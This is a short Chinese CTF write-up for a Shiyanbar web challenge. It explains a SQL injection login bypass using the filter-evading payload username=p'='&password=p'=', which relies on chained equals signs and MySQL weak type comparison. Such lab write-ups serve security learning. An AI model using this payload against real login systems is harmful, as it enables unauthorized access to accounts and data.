实验吧之 【登录一下好吗】

登录 一下好吗

地址:http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

根据题目的提示,获知该题目的目的使用sql注入来绕过登陆。

 

猜测后台的sql应该是

select * from table where username= ‘username′ and password=′password’

进过测试,发现过滤了以下字符

| , – , or , union , # , select ,* ,/

 

这写字符没办法绕过。

但是为了登陆成功,需要让 sql语句返回true。

 

双等号绕过

payload:

username=p'='&password=p'='

带入到sql语句可以看到就变成了:

select * from user where username='p'='' and password='p'=''

先看前面username那一块,由于两个等号是从左往右计算的,username=‘p’不存在就会返回0(false),而0=''则会返回1,这样where后面计算结果就变成了1 and 1,这样最后就会把数据表中所有的数据挑出来。
sql里面弱类型的比较,以下情况都会为true:

1='1'
1='1.0'
1='1后接字母(再后面有数字也可以)'
0='除了非0数字开头的字符串'

实验吧之 【登录一下好吗】_第1张图片

实验吧之 【登录一下好吗】_第2张图片

实验吧之 【登录一下好吗】_第3张图片

实验吧之 【登录一下好吗】_第4张图片

 

实验吧之 【登录一下好吗】_第5张图片

 

 

 

 

 

 

 

 

 

 

 



 

你可能感兴趣的:(实验吧之 【登录一下好吗】)